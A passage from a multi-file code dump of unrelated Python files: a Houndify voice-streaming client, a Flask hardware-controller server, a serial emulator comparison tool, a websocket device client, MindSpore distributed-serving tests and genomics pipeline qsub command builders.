if self.useSpeex:
audio_header = pySHSpeex.Init(self.sampleRate == 8000)
self._send(audio_header)
def fill(self, data):
"""
After successfully connecting to the server with start(), pump PCM samples
through this method.
data is 16-bit, 8 KHz/16 KHz little-endian PCM samples.
Returns True if the server detected the end of audio and is processing the data
or False if the server is still accepting audio
"""
# buffer gets flushed on next call to start()
if self.audioFinished:
return True
self.buffer += data
# 20ms 16-bit audio frame = (2 * 0.02 * sampleRate) bytes
frame_size = int(2 * 0.02 * self.sampleRate)
while len(self.buffer) > frame_size:
frame = self.buffer[:frame_size]
if self.useSpeex:
frame = pySHSpeex.EncodeFrame(frame)
self._send(frame)
self.buffer = self.buffer[frame_size:]
return False
def finish(self):
"""
Once fill returns True, call finish() to finalize the transaction. finish will
wait for all the data to be received from the server.
After finish() is called, you can start another request with start() but each
start() call should have a corresponding finish() to wait for the threads
"""
self._send(json.dumps({'endOfAudio': True}))
self._send('')
self.callbackTID.join()
def _callback(self, listener):
read_headers = True
headers = ''
body = ''
for line in self._readline(self.conn.sock):
if read_headers:
headers += line
if headers.endswith('\r\n\r\n'):
read_headers = False
continue
body += line
parsedMsg = None
try:
parsedMsg = json.loads(line)
except:
continue
if type(parsedMsg) is not dict:
continue
if "Status" in parsedMsg and parsedMsg["Status"] == "Error":
listener.onError(parsedMsg)
return
if "Format" in parsedMsg:
if parsedMsg["Format"] == "SoundHoundVoiceSearchParialTranscript" or parsedMsg["Format"] == "HoundVoiceQueryPartialTranscript":
## also check SafeToStopAudio
listener.onPartialTranscript(parsedMsg["PartialTranscript"])
if "SafeToStopAudio" in parsedMsg and parsedMsg["SafeToStopAudio"]:
## Because of the GIL, simple flag assignment like this is atomic
self.audioFinished = True
if parsedMsg["Format"] == "SoundHoundVoiceSearchResult" or parsedMsg["Format"] == "HoundQueryResult":
self._saveConversationStates(parsedMsg)
listener.onFinalResponse(parsedMsg)
return
listener.onError(body)
def _wavHeader(self, sampleRate=16000):
genHeader = "RIFF"
genHeader += struct.pack('<L', 36) #ChunkSize - dummy
genHeader += "WAVE"
genHeader += "fmt "
genHeader += struct.pack('<L', 16) #Subchunk1Size
genHeader += struct.pack('<H', 1) #AudioFormat - PCM
genHeader += struct.pack('<H', 1) #NumChannels
genHeader += struct.pack('<L', sampleRate) #SampleRate
genHeader += struct.pack('<L', 8 * sampleRate) #ByteRate
genHeader += struct.pack('<H', 2) #BlockAlign
genHeader += struct.pack('<H', 16) #BitsPerSample
genHeader += "data"
genHeader += struct.pack('<L', 0) #Subchunk2Size - dummy
return genHeader
def _send(self, msg):
if self.conn:
chunkSize = "%x\r\n" % len(msg)
try:
self.conn.send(chunkSize)
self.conn.send(msg + '\r\n')
except:
self.conn.close()
self.conn = None
def _readline(self, socket):
_buffer = ''
while True:
more = socket.recv(4096)
if not more: break
_buffer += more
while True:
split_buffer = _buffer.split("\r\n", 1)
if len(split_buffer) == 1: break
_buffer = split_buffer[1]
yield split_buffer[0] + "\r\n"
if _buffer: yield _buffer
class HoundListener:
"""
HoundListener is an abstract base class that defines the callbacks
that can be received while streaming speech to the server
"""
def onPartialTranscript(self, transcript):
"""
onPartialTranscript is fired when the server has sent a partial transcript
in live transcription mode. 'transcript' is a string with the partial transcript
"""
pass
def onFinalResponse(self, response):
"""
onFinalResponse is fired when the server has completed processing the query
and has a response. 'response' is the JSON object (as a Python dict) which
the server sends back.
"""
pass
def onError(self, err):
"""
onError is fired if there is an error interacting with the server. It contains
the parsed JSON from the server.
"""
pass
|
__init__.py | from server.hw_controller.buttons.buttons_manager import ButtonsManager
from server.utils.settings_utils import get_ip4_addresses
from flask import Flask, url_for
from flask.helpers import send_from_directory
from flask_socketio import SocketIO
from engineio.payload import Payload
from flask_sqlalchemy import SQLAlchemy
from flask_migrate import Migrate
from flask_cors import CORS
from werkzeug.utils import secure_filename
import os
from time import sleep, time
from dotenv import load_dotenv
import logging
from threading import Thread
from server.utils import settings_utils, software_updates, migrations
from server.utils.logging_utils import server_stream_handler, server_file_handler
# Updating setting files (will apply changes only when a new SW version is installed)
settings_utils.update_settings_file_version()
# Shows ipv4 adresses
print("\nTo run the server use 'ip:5000' in your browser with one of the following ip adresses: {}\n".format(str(get_ip4_addresses())), flush=True)
# Logging setup
load_dotenv()
level = os.getenv("FLASK_LEVEL")
if not level is None:
level = int(level)
else:
level = 0
settings_utils.print_level(level, "app")
server_stream_handler.setLevel(level)
w_logger = logging.getLogger("werkzeug")
w_logger.setLevel(1)
w_logger.handlers = []
w_logger.addHandler(server_stream_handler)
w_logger.addHandler(server_file_handler)
w_logger.propagate = False
# app setup
# is using the frontend build forlder for the static path
app = Flask(__name__, template_folder='templates', static_folder="../frontend/build", static_url_path="/")
app.logger.setLevel(1)
w_logger.addHandler(server_stream_handler)
w_logger.addHandler(server_file_handler)
app.config['SECRET_KEY'] = 'secret!' # TODO put a key here
app.config['UPLOAD_FOLDER'] = "./server/static/Drawings"
Payload.max_decode_packets = 200 # increasing this number increases CPU usage but it may be necessary to be able to run leds in realtime (default should be 16)
socketio = SocketIO(app, cors_allowed_origins="*")
CORS(app) # setting up cors for react
#
@app.route('/Drawings/<path:filename>')
def base_static(filename):
filename = secure_filename(filename)
return send_from_directory(app.root_path + app.config['UPLOAD_FOLDER'].replace("./server", "")+ "/{}/".format(filename), "{}.jpg".format(filename))
# database
file_path = os.path.join(os.path.abspath(os.getcwd()), "database.db")
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///'+file_path
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
migrate = Migrate(app, db, include_object=migrations.include_object)
# After setting up the database it is possible to import the app components
import server.api.drawings
import server.sockets_interface.socketio_callbacks
from server.sockets_interface.socketio_emits import SocketioEmits
from server.hw_controller.queue_manager import QueueManager
from server.hw_controller.feeder import Feeder
from server.hw_controller.feeder_event_manager import FeederEventManager
from server.preprocessing.file_observer import GcodeObserverManager
from server.hw_controller.leds.leds_controller import LedsController
from server.utils.stats import StatsManager
# Initializes sockets emits
app.semits = SocketioEmits(app,socketio, db)
# Device controller initialization
app.feeder = Feeder(FeederEventManager(app))
#app.feeder.connect()
app.qmanager = QueueManager(app, socketio)
# Buttons controller initialization
app.bmanager = ButtonsManager(app)
# Leds controller initialization
app.lmanager = LedsController(app)
# Updates manager
app.umanager = software_updates.UpdatesManager()
# Stats manager
app.smanager = StatsManager()
@app.context_processor
def override_url_for():
return dict(url_for=versioned_url_for)
# Adds a version number to the static url to update the cached files when a new version of the software is loaded
def versioned_url_for(endpoint, **values):
if endpoint == 'static':
values["version"] = app.umanager.short_hash
return url_for(endpoint, **values)
# Home routes
@app.route('/')
def home():
return send_from_directory(app.static_folder, "index.html")
# Starting the feeder after the server is ready to avoid problems with the web page not showing up
def run_post():
sleep(2)
app.feeder.connect()
app.lmanager.start()
th = Thread(target = run_post)
th.name = "feeder_starter"
th.start()
# File observer setup
# initializes the .gcode file observer on the autostart folder
app.observer = GcodeObserverManager("./server/autodetect", logger=app.logger)
if __name__ == '__main__':
socketio.run(app)
|
compare.py | import serial
import sys
import queue
import threading
SERIAL_1 = '/dev/ttyACM0'
SERIAL_2 = '/dev/vtty0'
BAUD_RATE = 19200
def pipe_stdin(ser1, ser2):
while True:
data = sys.stdin.buffer.read(1)
if len(data) == 0:
return
ser1.write(data)
ser2.write(data)
def read_ser(ser, q):
while True:
if ser.in_waiting > 0:
data = ser.read(1)
if len(data) == 0:
return
q.put(data)
def compare_queue(q1, q2, q3):
buf1 = b''
buf2 = b''
while True:
while True:
try:
buf1 += q1.get(False)
except queue.Empty:
break
while True:
try:
buf2 += q2.get(False)
except queue.Empty:
break
while len(buf1) > 0 and len(buf2) > 0:
if buf1[0] == buf2[0]:
q3.put(buf1[:1])
else:
sys.stderr.write('Mismatch: Hardware returned {} but emulator returned {}\n'.format(buf1[:1], buf2[:1]))
buf1 = buf1[1:]
buf2 = buf2[1:]
def main():
try:
ser1 = serial.Serial(SERIAL_1, BAUD_RATE)
ser2 = serial.Serial(SERIAL_2, BAUD_RATE)
q1 = queue.Queue()
q2 = queue.Queue()
q3 = queue.Queue()
t = threading.Thread(target=pipe_stdin, args=(ser1, ser2))
t1 = threading.Thread(target=read_ser, args=(ser1, q1))
t2 = threading.Thread(target=read_ser, args=(ser2, q2))
t3 = threading.Thread(target=compare_queue, args=(q1, q2, q3))
t.daemon = True
t1.daemon = True
t2.daemon = True
t3.daemon = True
t.start()
t1.start()
t2.start()
t3.start()
while True:
d1 = q3.get()
#sys.stderr.write(str(d1)[2:-1])
#sys.stderr.flush()
#sys.stderr.write('Wrote byte to output\n')
sys.stdout.buffer.write(d1)
sys.stdout.flush()
except KeyboardInterrupt:
pass
if __name__ == '__main__':
main()
|
api.py | # -*- coding: utf-8 -*-
import threading
import asyncio
import websockets
import json
class PyAlmondPlus:
def __init__(self, api_url, event_callback=None):
self.api_url = api_url
self.ws = None
self.loop = asyncio.get_event_loop()
self.receive_task = None
self.event_callback = event_callback
self.keep_running = True
self.client_running = False
t = threading.Thread(target=self.api_dispatcher, args=())
t.start()
async def connect(self):
print("connecting")
if self.ws is None:
print("opening socket")
self.ws = await websockets.connect(self.api_url)
print(self.ws)
async def disconnect(self):
pass
def get_device_list(self):
my_message = '{"MobileInternalIndex":"231234","CommandType":"DeviceList"}'
self.send(my_message)
def send(self, message):
print("sending "+message)
self.ws.send(message)
async def receive(self):
print("receive started")
while self.keep_running:
if self.ws is None:
await self.connect()
recv_data = await self.ws.recv()
print(recv_data)
print("receive ended")
async def api_dispatcher(self):
while self.keep_running:
print("Before sleep")
asyncio.sleep(1000)
print("After sleep")
if self.client_running:
if self.ws is None:
await self.connect()
def start(self):
self.keep_running = True
def start_loop(self):
print("Loop helper 1")
policy = asyncio.get_event_loop_policy()
policy.set_event_loop(policy.new_event_loop())
self.loop = asyncio.get_event_loop()
self.loop.set_debug(True)
asyncio.set_event_loop(self.loop)
self.loop.run_until_complete(self.api_dispatcher())
print("Loop helper 2")
def stop(self):
print("Stop 1")
self.keep_running = False
print("Stop 2")
self.ws.close()
print("Stop 3")
# class testingThread(threading.Thread):
# def __init__(self,threadID):
# threading.Thread.__init__(self)
# self.threadID = threadID
# def run(self):
# print str(self.threadID) + " Starting thread"
# self.ws = websocket.WebSocketApp("ws://localhost/ws", on_error = self.on_error, on_close = self.on_close, on_message=self.on_message,on_open=self.on_open)
# self.ws.keep_running = True
# self.wst = threading.Thread(target=self.ws.run_forever)
# self.wst.daemon = True
# self.wst.start()
# running = True;
# testNr = 0;
# time.sleep(0.1)
# while running:
# testNr = testNr+1;
# time.sleep(1.0)
# self.ws.send(str(self.threadID)+" Test: "+str(testNr)+")
# self.ws.keep_running = False;
# print str(self.threadID) + " Exiting thread"
# # -*- coding: utf-8 -*-
# import asyncio
# import websockets
# import json
#
#
# class PyAlmondPlus:
#
# def __init__(self, api_url, event_callback=None):
# self.api_url = api_url
# self.ws = None
# self.receive_task = None
# self.event_callback = event_callback
# self.receive_running = False
# self.loop = None
#
# def connect(self):
# print("connecting")
# if self.ws is None:
# print("opening socket "+self.api_url)
# self.ws = websockets.connect(self.api_url)
# print(self.ws)
#
# def disconnect(self):
# pass
#
# def send(self, message):
# pass
#
# def receive(self):
# print("receive started")
# if self.ws is None:
# self.connect()
# while self.receive_running:
# recv_data = self.ws.recv()
# print(recv_data)
#
# def start(self):
# print("Start Thread loop")
# self.receive_running = True
# import threading
# self.receive_task = threading.Thread(target=self.receive, args=())
# self.receive_task.start()
# print("Receiver running")
#
# def stop(self):
# print("Stop Reciver")
# self.receive_running = False
#
# # -*- coding: utf-8 -*-
# import asyncio
# import websockets
# import json
#
#
# class PyAlmondPlus:
#
# def __init__(self, api_url, event_callback=None):
# self.api_url = api_url
# self.ws = None
# self.loop = asyncio.get_event_loop()
# self.event_callback = event_callback
# self.keep_running = False
#
# async def connect(self):
# print("connecting")
# if self.ws is None:
# print("opening socket "+self.api_url)
# self.ws = await websockets.connect(self.api_url)
# print(self.ws)
#
# async def disconnect(self):
# pass
#
# async def send(self, message):
# pass
#
# async def receive(self):
# print("receive started")
# if self.ws is None:
# await self.connect()
# while self.keep_running:
# recv_data = await self.ws.recv()
# print(recv_data)
# print("receive stopped")
#
# def start(self):
# print("Start 1")
# self.keep_running = True
# asyncio.ensure_future(self.receive, loop=self.loop)
# print("Start 2")
#
# def stop(self):
# print("Stop 1")
# self.keep_running = False
# self.ws.keep_running = False
#___________________________________________________________
#
# # async def device_list(self):
# # print("function "+self.api_url)
# # # url_connect = "ws://192.168.1.2:7681/root/" + password
# # async with websockets.connect(self.api_url) as ws:
# # name = str(
# # '{"MobileInternalIndex":"231234","CommandType":"DeviceList"}')
# # await ws.send(name)
# # # print(f"> {name}")
# # greeting = await ws.recv()
# # print()
# # print(f"< {greeting}")
# # print()
# # await ws.send(name)
# # greeting = await ws.recv()
# # print()
# # print(f"< {greeting}")
# # print()
# # jsontest = json.loads(greeting)
# # print(jsontest['Devices'])
#
#
# #
# # def readyaml():
# # with open('./secrets.yaml') as fp:
# # my_configuration_dict = yaml.load(fp)
# # fp.close
# # return my_configuration_dict
#
# # def main():
# # print("Start")
# # my_configuration_dictt = readyaml()
# # securfi_password = my_configuration_dictt["securifi_password"]
# # asyncio.get_event_loop().run_until_complete(devicelist(securfi_password))
# #
# #
# # if __name__ == '__main__':
# # main()
# #
# # """Main module."""
pass
|
test_distributed_worker.py | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""test distributed worker"""
import logging
import os
import signal
import time
from multiprocessing import Process, Pipe
import numpy as np
import psutil
from common import serving_test, create_client, ServingTestBase
from mindspore_serving.server import distributed
from mindspore_serving import server
distributed_import = r"""
import numpy as np
from mindspore_serving.server import distributed
from mindspore_serving.server import register
"""
distributed_declare_servable = r"""
model = distributed.declare_servable(rank_size=8, stage_size=1, with_batch_dim=False)
"""
rank_table_content = r"""
{
"version": "1.0", "server_count": "1",
"server_list": [
{
"server_id": "127.0.0.1",
"device": [
{ "device_id": "0", "device_ip": "192.1.27.6", "rank_id": "0" },
{ "device_id": "1", "device_ip": "192.2.27.6", "rank_id": "1" },
{ "device_id": "2", "device_ip": "192.3.27.6", "rank_id": "2" },
{ "device_id": "3", "device_ip": "192.4.27.6", "rank_id": "3" },
{ "device_id": "4", "device_ip": "192.1.27.7", "rank_id": "4" },
{ "device_id": "5", "device_ip": "192.2.27.7", "rank_id": "5" },
{ "device_id": "6", "device_ip": "192.3.27.7", "rank_id": "6" },
{ "device_id": "7", "device_ip": "192.4.27.7", "rank_id": "7" }
],
"host_nic_ip": "reserve"
}
],
"status": "completed"
}
"""
def init_distributed_servable():
base = ServingTestBase()
servable_content = distributed_import
servable_content += distributed_declare_servable
servable_content += r"""
@register.register_method(output_names=["y"])
def predict(x1, x2):
y = register.add_stage(model, x1, x2, outputs_count=1)
return y
"""
base.init_distributed_servable(servable_content, 8, rank_table_content)
return base
def start_distributed_grpc_server():
base = init_distributed_servable()
return base
def start_distributed_worker(base):
send_pipe, recv_pipe = Pipe()
def worker_process(send_pipe):
try:
distributed.start_servable(base.servable_dir, base.servable_name,
rank_table_json_file=base.rank_table_content_path,
distributed_address="127.0.0.1:6200")
server.start_grpc_server("0.0.0.0:5500")
send_pipe.send("Success")
# pylint: disable=broad-except
except Exception as e:
logging.exception(e)
send_pipe.send(e)
worker = Process(target=worker_process, args=(send_pipe,))
worker.start()
time.sleep(0.5) # wait parse rank table ready
assert worker.is_alive()
return worker, recv_pipe
def wait_worker_registered_ready(worker, recv_pipe):
index = 0
while index < 100 and worker.is_alive(): # wait max 10 s
index += 1
if recv_pipe.poll(0.1):
msg = recv_pipe.recv()
print(f"Receive worker process msg: {msg} {worker.is_alive()}")
if isinstance(msg, Exception):
raise msg
break
if recv_pipe.poll(0.1):
msg = recv_pipe.recv()
print(f"Receive worker process msg: {msg} {worker.is_alive()}")
if isinstance(msg, Exception):
raise msg
assert index < 100
assert worker.is_alive()
def start_agents(model_file_list, group_config_list, start_port, dec_key=None, dec_mode='AES-GCM'):
send_pipe, recv_pipe = Pipe()
def agent_process(send_pipe):
try:
distributed.startup_agents(distributed_address="127.0.0.1:6200", model_files=model_file_list,
group_config_files=group_config_list, agent_start_port=start_port,
dec_key=dec_key, dec_mode=dec_mode)
send_pipe.send("Success")
# pylint: disable=broad-except
except Exception as e:
logging.exception(e)
send_pipe.send(e)
agent = Process(target=agent_process, args=(send_pipe,))
agent.start()
index = 0
while index < 100 and agent.is_alive(): # wait max 10 s
index += 1
if recv_pipe.poll(0.1):
msg = recv_pipe.recv()
print(f"Receive agent process msg: {msg} {agent.is_alive()}")
if isinstance(msg, Exception):
raise msg
break
if recv_pipe.poll(0.1):
msg = recv_pipe.recv()
print(f"Receive agent process msg: {msg} {agent.is_alive()}")
if isinstance(msg, Exception):
raise msg
assert index < 100
assert agent.is_alive()
return agent
def send_exit(process):
if not process.is_alive():
return
parent_process = psutil.Process(process.pid)
child_processes = parent_process.children(recursive=True)
def children_alive():
return any([item.is_running() for item in child_processes])
os.kill(process.pid, signal.SIGINT)
for _ in range(50): # 50*0.1s
if not process.is_alive() and not children_alive():
break
time.sleep(0.1)
for item in child_processes:
if item.is_running():
os.kill(item.pid, signal.SIGKILL)
if process.is_alive():
os.kill(process.pid, signal.SIGKILL)
def start_distributed_serving_server():
base = start_distributed_grpc_server()
worker_process, recv_pipe = start_distributed_worker(base)
base.add_on_exit(lambda: send_exit(worker_process))
agent_process = start_agents(base.model_file_list, base.group_config_list, 7000)
base.add_on_exit(lambda: send_exit(agent_process))
wait_worker_registered_ready(worker_process, recv_pipe)
return base, worker_process, agent_process
@serving_test
def test_distributed_worker_worker_exit_success():
"""
Feature: distributed serving server
Description: Test distributed serving server exit when worker receive signal SIGINT
Expectation: When worker receive signal SIGINT, serving server will exit.
"""
base, worker_process, agent_process = start_distributed_serving_server()
client = create_client("localhost:5500", base.servable_name, "predict")
instances = [{}, {}, {}]
y_data_list = []
for index, instance in enumerate(instances):
instance["x1"] = np.array([[1.1, 1.2], [2.2, 2.3]], np.float32) * (index + 1)
instance["x2"] = np.array([[3.3, 3.4], [4.4, 4.5]], np.float32) * (index + 1)
y_data_list.append((instance["x1"] + instance["x2"]).tolist())
result = client.infer(instances)
print(result)
assert len(result) == 3
assert result[0]["y"].dtype == np.float32
assert result[1]["y"].dtype == np.float32
assert result[2]["y"].dtype == np.float32
assert result[0]["y"].tolist() == y_data_list[0]
assert result[1]["y"].tolist() == y_data_list[1]
assert result[2]["y"].tolist() == y_data_list[2]
# send SIGINT to worker, expect worker and all agents exit
agents = psutil.Process(agent_process.pid).children()
def agents_alive():
return any([item.is_running() for item in agents])
os.kill(worker_process.pid, signal.SIGINT)
for _ in range(50): # 50*0.1s
if not worker_process.is_alive() and not agent_process.is_alive() and not agents_alive():
break
time.sleep(0.1)
assert not worker_process.is_alive()
assert not agent_process.is_alive()
assert not agents_alive()
@serving_test
def test_distributed_worker_agent_exit_success():
"""
Feature: distributed serving server
Description: Test distributed serving server exit when agent startup process receive signal SIGINT
Expectation: When agent startup process receive signal SIGINT, serving server will exit.
"""
base, worker_process, agent_process = start_distributed_serving_server()
client = create_client("localhost:5500", base.servable_name, "predict")
instances = [{}, {}, {}]
y_data_list = []
for index, instance in enumerate(instances):
instance["x1"] = np.array([[1.1, 1.2], [2.2, 2.3]], np.float32) * (index + 1)
instance["x2"] = np.array([[3.3, 3.4], [4.4, 4.5]], np.float32) * (index + 1)
y_data_list.append((instance["x1"] + instance["x2"]).tolist())
result = client.infer(instances)
print(result)
assert len(result) == 3
assert result[0]["y"].tolist() == y_data_list[0]
assert result[1]["y"].tolist() == y_data_list[1]
assert result[2]["y"].tolist() == y_data_list[2]
# send SIGINT to worker, expect worker and all agents exit
agents = psutil.Process(agent_process.pid).children()
def agents_alive():
return any([item.is_running() for item in agents])
os.kill(agent_process.pid, signal.SIGINT)
for _ in range(50): # 50*0.1s
if not worker_process.is_alive() and not agent_process.is_alive() and not agents_alive():
break
time.sleep(0.1)
assert not worker_process.is_alive()
assert not agent_process.is_alive()
assert not agents_alive()
@serving_test
def test_distributed_worker_agent_startup_killed_exit_success():
"""
Feature: distributed serving server
Description: Test distributed serving server exit when agent start up process killed by signal SIGKILL
Expectation: When agent startup process receive signal SIGKILL, serving server will exit.
"""
base, worker_process, agent_process = start_distributed_serving_server()
client = create_client("localhost:5500", base.servable_name, "predict")
instances = [{}, {}, {}]
y_data_list = []
for index, instance in enumerate(instances):
instance["x1"] = np.array([[1.1, 1.2], [2.2, 2.3]], np.float32) * (index + 1)
instance["x2"] = np.array([[3.3, 3.4], [4.4, 4.5]], np.float32) * (index + 1)
y_data_list.append((instance["x1"] + instance["x2"]).tolist())
result = client.infer(instances)
print(result)
assert len(result) == 3
assert result[0]["y"].tolist() == y_data_list[0]
assert result[1]["y"].tolist() == y_data_list[1]
assert result[2]["y"].tolist() == y_data_list[2]
# send SIGINT to worker, expect worker and all agents exit
agents = psutil.Process(agent_process.pid).children()
def agents_alive():
return any([item.is_running() for item in agents])
os.kill(agent_process.pid, signal.SIGKILL) # kill msg
for _ in range(50): # 50*0.1s
# test agent_process.is_alive() first, it will make agents(children) notify exit of their parent
if not agent_process.is_alive() and not worker_process.is_alive() and not agents_alive():
break
time.sleep(0.1)
assert not worker_process.is_alive()
assert not agent_process.is_alive()
assert not agents_alive()
@serving_test
def test_distributed_worker_agent_killed_exit_success():
"""
Feature: distributed serving server
Description: Test distributed serving server exit when one of agents killed by signal SIGKILL
Expectation: When one of agent process receive signal SIGKILL, serving server will exit.
"""
base, worker_process, agent_process = start_distributed_serving_server()
client = create_client("localhost:5500", base.servable_name, "predict")
instances = [{}, {}, {}]
y_data_list = []
for index, instance in enumerate(instances):
instance["x1"] = np.array([[1.1, 1.2], [2.2, 2.3]], np.float32) * (index + 1)
instance["x2"] = np.array([[3.3, 3.4], [4.4, 4.5]], np.float32) * (index + 1)
y_data_list.append((instance["x1"] + instance["x2"]).tolist())
result = client.infer(instances)
print(result)
assert len(result) == 3
assert result[0]["y"].tolist() == y_data_list[0]
assert result[1]["y"].tolist() == y_data_list[1]
assert result[2]["y"].tolist() == y_data_list[2]
# send SIGINT to worker, expect worker and all agents exit
agents = psutil.Process(agent_process.pid).children()
assert agents
def agents_alive():
return any([item.is_running() for item in agents])
os.kill(agents[0].pid, signal.SIGKILL) # kill msg
for _ in range(50): # 50*0.1s
if not worker_process.is_alive() and not agent_process.is_alive() and not agents_alive():
break
time.sleep(0.1)
assert not worker_process.is_alive()
assert not agent_process.is_alive()
assert not agents_alive()
@serving_test
def test_distributed_worker_agent_invalid_model_files_failed():
"""
Feature: distributed serving server
Description: Test distributed serving server start up when model files are invalid
Expectation: serving server raise runtime error.
"""
base = start_distributed_grpc_server()
worker_process, _ = start_distributed_worker(base)
base.add_on_exit(lambda: send_exit(worker_process))
base.model_file_list[0] = base.model_file_list[0] + "_error"
try:
start_agents(base.model_file_list, base.group_config_list, 7036)
assert False
# pylint: disable=broad-except
except Exception as e:
assert "Cannot access model file" in str(e)
@serving_test
def test_distributed_worker_dec_model_success():
"""
Feature: distributed serving server
Description: Test distributed serving server with dec models
Expectation: serving server running ok.
"""
base = start_distributed_grpc_server()
worker_process, recv_pipe = start_distributed_worker(base)
base.add_on_exit(lambda: send_exit(worker_process))
agent_process = start_agents(base.model_file_list, base.group_config_list, 7000, dec_key=('abcd1234' * 3).encode())
base.add_on_exit(lambda: send_exit(agent_process))
wait_worker_registered_ready(worker_process, recv_pipe)
client = create_client("localhost:5500", base.servable_name, "predict")
instances = [{}, {}, {}]
y_data_list = []
for index, instance in enumerate(instances):
instance["x1"] = np.array([[1.1, 1.2], [2.2, 2.3]], np.float32) * (index + 1)
instance["x2"] = np.array([[3.3, 3.4], [4.4, 4.5]], np.float32) * (index + 1)
y_data_list.append((instance["x1"] + instance["x2"]).tolist())
result = client.infer(instances)
print(result)
assert len(result) == 3
assert result[0]["y"].dtype == np.float32
assert result[1]["y"].dtype == np.float32
assert result[2]["y"].dtype == np.float32
assert result[0]["y"].tolist() == y_data_list[0]
assert result[1]["y"].tolist() == y_data_list[1]
assert result[2]["y"].tolist() == y_data_list[2]
# send SIGINT to worker, expect worker and all agents exit
agents = psutil.Process(agent_process.pid).children()
def agents_alive():
return any([item.is_running() for item in agents])
os.kill(worker_process.pid, signal.SIGINT)
for _ in range(50): # 50*0.1s
if not worker_process.is_alive() and not agent_process.is_alive() and not agents_alive():
break
time.sleep(0.1)
assert not worker_process.is_alive()
assert not agent_process.is_alive()
assert not agents_alive()
|
helpers.py | import ConfigParser
import os
import re
import sys
import subprocess
from threading import Thread
def mpileup_cmdgen(args,case_name,source_dir):
#generate command for mpileup
cmd = "qsub -sync y -t " + str(args.start) + "-" + str(args.end) \
+ " -V " \
+ "-N " + case_name \
+ " -e " + args.output + "/vcfcall/logs/"+ case_name +".vcfcall.e " \
+ "-o " + args.output + "/vcfcall/logs/"+ case_name +".vcfcall.o " \
+ "-cwd -l mem=10G,time=1:: " \
+ source_dir + "/parallel_pileup.sh" \
+ " --bam " + args.inputdir + "/" + case_name + ".bam"\
+ " --ref " + args.ref \
+ " --outputdir " + args.output + "/vcfcall/"+ case_name
if(args.debug):
print('[Performing mpileup]')
print(cmd)
return cmd
def vcf_concat_cmdgen(args,case_name):
#generate command for vcf-concat
vcflist = []
for i in range(args.start,args.end+1):
vcfname = args.output + "/vcfcall/"+case_name+"/raw_" + str(i) + ".vcf"
vcflist.append(vcfname)
vcfstr = " ".join(vcflist)
cmd = "vcf-concat "+ vcfstr + " > " \
+ args.output + "/vcfcall/" + case_name + ".vcf"
if args.debug:
print('[Concatenating vcf files and sorting]')
print(cmd)
return cmd
def snpeffarray_cmdgen(args,case_name,source_dir):
cmd = "qsub -V -b y -sync y -t 1-23 -cwd -l mem=10G,time=2:: -pe smp 2 " \
+ "-N " + case_name \
+ " -e " + args.output + "/annotate/logs/ " \
+ "-o " + args.output+"/annotate/"+case_name+".o " \
+ source_dir + "/parallelsnp.sh" \
+ " -outputdir " + args.output \
+ " -snpeff " + args.snpeff \
+ " -case_name " + case_name \
+ " -input " + args.output +"/annotate"
if args.debug:
print('[Annotating ' + case_name + ' with snpEff]')
print(cmd)
return cmd
def snpsiftarray_cmdgen(args,case_name,vcf,source_dir):
cmd = "qsub -V -b y -sync y -t 1-23 -cwd -l mem=10G,time=2:: -pe smp 2 " \
+ "-N " + case_name \
+ " -e " + args.output + "/annotate/logs/ " \
+ "-o " + args.output+"/annotate/"+case_name+".o " \
+ source_dir + "/parallelsift.sh" \
+ " -outputdir " + args.output \
+ " -snpeff " + args.snpeff \
+ " -case_name " + case_name \
+ " -input " + args.output +"/annotate" \
+ " -vcf " + vcf
if args.debug:
print('[Annotating ' + case_name + ' with snpSift]')
print(cmd)
return cmd
def snpdbnsfparray_cmdgen(args,case_name,dbnsfp,source_dir,dbnsfp_header):
cmd = "qsub -V -b y -sync y -t 1-23 -cwd -l mem=10G,time=4:: -pe smp 2 " \
+ "-N " + case_name \
+ " -e " + args.output + "/annotate/logs/ " \
+ "-o " + args.output+"/annotate/logs/"+case_name+".o " \
+ source_dir + "/paralleldbnsfp.sh" \
+ " -outputdir " + args.output \
+ " -snpeff " + args.snpeff \
+ " -case_name " + case_name \
+ " -input " + args.output +"/annotate" \
+ " -dbnsfp " + dbnsfp \
+ " -header " + dbnsfp_header
if args.debug:
print('[Annotating ' + case_name + ' with dbnsfp]')
print(cmd)
return cmd
def vcf_snp_concat_cmdgen(args,case_name):
#generate command for vcf-concat
vcflist = []
for i in range(1,23) + ['MISC']:
vcfname = args.output + "/annotate/"+case_name+"."+ str(i) + ".eff.vcf"
vcflist.append(vcfname)
vcfstr = " ".join(vcflist)
cmd = "vcf-concat "+ vcfstr + " > " \
+ args.output + "/annotate/" + case_name + ".eff.all.vcf"
if args.debug:
print('[Concatenating ' + case_name + ' vcf files]')
print(cmd)
return cmd
def oneEff_cmdgen(args,case_name,source_dir):
cmd = "cat "+ args.output + "/annotate/" + case_name + ".eff.all.vcf | " \
+ source_dir+"/vcfEffOnePerLine.pl > " \
+ args.output +"/annotate/"+case_name+ ".vcf"
if(args.debug):
print('[Splitting vcf effects to one per line]')
print(cmd)
return cmd
def filterarray_cmdgen(args,case_name,source_dir,whichscript):
cmd = "qsub -V -b y -sync y -t 1-23 -cwd -l mem=10G,time=4:: -pe smp 2 " \
+ "-N " + case_name \
+ " -e " + args.output + "/filter/logs/ " \
+ "-o " + args.output+"/filter/logs/ " \
+ source_dir + "/parallelfilter.sh" \
+ " -outputdir " + args.output \
+ " -case_name " + case_name \
+ " -source_dir " + source_dir \
+ " -whichscript " + whichscript \
+ " -inputdir " + args.output +"/filter"
if args.debug:
print('[Filtering ' + case_name + ']')
print(cmd)
return cmd
def get_filenames(inputdir,extension):
input_filenames = []
#get list of .bam/.vcf filenames in input directory
#and remove '.bam'/'.vcf' suffix
if extension == "bam":
pattern = "^.*\.bam$"
if extension == "vcf":
pattern = "^.*\.vcf$"
if extension == "tsv":
pattern = "^.*\.tsv$"
for (dirpath, dirnames, filenames) in os.walk(inputdir):
for filename in filenames:
if bool(re.search(pattern,filename)) \
and not bool(re.search("^\d",filename)):
input_filenames.append(filename[:-4])
break
if len(input_filenames) == 0:
